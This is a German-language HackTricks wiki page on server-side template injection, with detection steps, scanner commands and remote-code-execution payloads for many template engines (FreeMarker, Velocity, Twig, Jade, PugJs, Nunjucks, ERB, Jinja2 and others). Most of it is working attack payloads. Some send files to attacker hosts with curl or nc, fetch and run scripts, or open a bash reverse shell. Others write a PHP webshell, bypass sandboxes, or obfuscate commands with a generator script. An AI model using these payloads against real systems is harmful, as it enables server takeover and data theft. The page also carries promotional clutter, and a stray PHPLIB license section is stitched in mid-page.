46 KiB
SSTI (Serverseitige Template-Injektion)
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.
RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
Was ist SSTI (Serverseitige Template-Injektion)
Die serverseitige Template-Injektion ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, der auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Codeschnipsel unter Verwendung von Jinja demonstriert:
output = template.render(name=request.args.get('name'))
Im diesem anfälligen Code wird der name
-Parameter aus der Benutzeranfrage direkt in das Template mit der render
-Funktion übergeben. Dies könnte einem Angreifer potenziell ermöglichen, bösartigen Code in den name
-Parameter einzufügen, was zu einer serverseitigen Template-Injection führen kann.
Ein Angreifer könnte beispielsweise eine Anfrage mit einem Payload wie diesem erstellen:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Die Nutzlast {{bad-stuff-here}}
wird in den name
-Parameter eingefügt. Diese Nutzlast kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, nicht autorisierten Code auszuführen oder den Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Um Schwachstellen bei serverseitigen Template-Injektionen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu minimieren.
Erkennung
Um Server-seitige Template-Injektionen (SSTI) zu erkennen, ist das Fuzzing des Templates zunächst ein direkter Ansatz. Dies beinhaltet das Einspritzen einer Sequenz von Sonderzeichen (${{<%[%'"}}%\
) in das Template und die Analyse der Unterschiede in der Antwort des Servers auf reguläre Daten im Vergleich zu dieser speziellen Nutzlast. Anzeichen für Schwachstellen sind:
- Geworfene Fehler, die die Schwachstelle und möglicherweise den Template-Engine offenlegen.
- Fehlen der Nutzlast im Reflektieren oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
- Klartextkontext: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B.
{{7*7}}
,${7*7}
). - Code-Kontext: Bestätigen Sie die Schwachstelle, indem Sie Eingabeparameter ändern. Ändern Sie beispielsweise
greeting
inhttp://vulnerable-website.com/?greeting=data.username
, um zu sehen, ob die Ausgabe des Servers dynamisch oder fest ist, wie beigreeting=data.username}}hello
, das den Benutzernamen zurückgibt.
Identifikationsphase
Die Identifizierung des Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Nutzlasten. Häufige Nutzlasten, die Fehler verursachen, sind ${7/0}
, {{7/0}}
und <%= 7/0 %>
. Die Beobachtung der Antwort des Servers auf mathematische Operationen hilft dabei, die spezifische Template-Engine zu lokalisieren.
Tools
TInjA
ein effizienter SSTI + CSTI-Scanner, der neuartige Polyglots verwendet
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Vorlageinjektionstabelle
eine interaktive Tabelle, die die effizientesten Vorlageinjektions-Polyglots zusammen mit den erwarteten Antworten der 44 wichtigsten Vorlagen-Engines enthält.
Exploits
Generisch
In dieser Wortliste finden Sie Variablen, die in den Umgebungen einiger der unten genannten Engines definiert sind:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Grundlegende Injektion
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Abrufen der Umgebungsvariablen des Systems
${T(java.lang.System).getenv()}
Java - Abrufen von /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Sie können Ihre Payloads unter https://try.freemarker.apache.org ausprobieren
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox umgehen
⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Weitere Informationen
- Im FreeMarker-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Weitere Informationen
- Im Velocity-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck ${7*7}
, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf erfordert, dass diese Ausdrücke in bestimmten Attributen platziert werden. Allerdings wird Expression Inlining für andere Vorlagenorte unterstützt, wobei Syntax wie [[...]]
oder [(...)]
verwendet wird. Daher könnte ein einfaches SSTI-Test-Payload wie [[${7*7}]]
aussehen.
Die Wahrscheinlichkeit, dass dieses Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Vorlagenerstellung; Vorlagen müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver
implementieren, um Vorlagen aus Zeichenfolgen dynamisch zu erstellen, was unüblich ist.
Thymeleaf bietet auch Expression Preprocessing an, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (__...__
) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
#{selection.__${sel.code}__}
Beispiel für eine Schwachstelle in Thymeleaf
Betrachten Sie den folgenden Code-Schnipsel, der anfällig für Ausnutzung sein könnte:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Dies deutet darauf hin, dass wenn der Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen kann, die auf URLs wie folgt zugreift:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Weitere Informationen
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Filter umgehen
Mehrere Variablenausdrücke können verwendet werden. Wenn ${...}
nicht funktioniert, versuchen Sie es mit #{...}
, *{...}
, @{...}
oder ~{...}
.
- Lese
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Benutzerdefiniertes Skript zur Payload-Generierung
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Weitere Informationen
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Alte Version von Pebble ( < Version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Neue Version von Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava ist eine leistungsstarke und benutzerfreundliche Template-Engine für Java. Es wird häufig in Webanwendungen verwendet, um dynamische Inhalte zu generieren. Jinjava unterstützt Server-seitige Template-Injection (SSTI), was zu potenziell gefährlichen Sicherheitslücken führen kann. Es ist wichtig, Jinjava sicher zu konfigurieren und Eingaben ordnungsgemäß zu validieren, um SSTI-Angriffe zu verhindern.
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava ist ein Open-Source-Projekt, das von Hubspot entwickelt wurde und unter https://github.com/HubSpot/jinjava/ verfügbar ist.
Jinjava - Befehlsausführung
Behoben durch https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Weitere Informationen
Hubspot - HuBL (Java)
{% %}
Anweisungstrenner{{ }}
Ausdruckstrenner{# #}
Kommentartrenner{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Suche nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckte das Jinjava-Projekt auf Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Weitere Informationen
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) ist eine grundlegende Funktion, die die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu optimieren. Zu den wichtigsten JavaEE-Technologien, die EL nutzen, gehören:
- JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu verknüpfen.
- JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, was es erleichtert, Seitenelemente mit den Anwendungsdaten zu verbinden.
- Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Web-Ebene und verwalteten Beans zu ermöglichen und so eine kohärentere Anwendungsstruktur sicherzustellen.
Überprüfen Sie die folgende Seite, um mehr über die Ausnutzung von EL-Interpretern zu erfahren:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Die folgenden Security Manager-Bypasses stammen aus diesem Bericht.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsfachleute in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Weitere Informationen
- Im Smarty-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Vorlagenformat
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Weitere Informationen
- Im Abschnitt Twig und Twig (Sandboxed) von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates ist eine Vorlagen-Engine, die nativ für PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, verwendet Plates nativen PHP-Code in Vorlagen, was es für PHP-Entwickler intuitiv macht.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Seitenvorlage:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Layoutsvorlage:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Weitere Informationen
PHPlib und HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ist dasselbe wie PHPlib, aber für Pear portiert.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
SSTI (Server-Side Template Injection)
Authors
License
This project is licensed under the MIT License - see the LICENSE file for details.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Weitere Informationen
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Weitere Informationen
- Im Jade-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate ist eine PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Weitere Informationen
Handlebars (NodeJS)
Pfadtraversierung (mehr Informationen hier).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Fehler
- ${7*7} = ${7*7}
- Nichts
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Weitere Informationen
JsRender (NodeJS)
Vorlage | Beschreibung |
---|---|
Auswerten und Ausgabe rendern | |
Auswerten und HTML-codierte Ausgabe rendern | |
Kommentar | |
und | Erlauben von Code (standardmäßig deaktiviert) |
- = 49
Clientseite
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Serverseitig
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Weitere Informationen
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Beispiel für serverseitiges Rendern
var pugjs = require('pug');
home = pugjs.render(injected_page)
Weitere Informationen
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Keine Ausgabe
- #{7*7} = #{7*7}
- {{console.log(1)}} = Fehler
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Weitere Informationen
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Weitere Informationen
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Weitere Informationen
Python
Schauen Sie sich die folgende Seite an, um Tricks zum Umgehen von Sandboxes für beliebige Befehlsausführung in Python zu lernen:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Weitere Informationen
Jinja2 (Python)
Jinja2 ist eine voll ausgestattete Template-Engine für Python. Es bietet volle Unicode-Unterstützung, eine optionale integrierte Sandbox-Ausführungsumgebung, wird weit verbreitet eingesetzt und ist unter der BSD-Lizenz veröffentlicht.
{{7*7}} = Fehler
${7*7} = ${7*7}
{{foobar}} Nichts
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
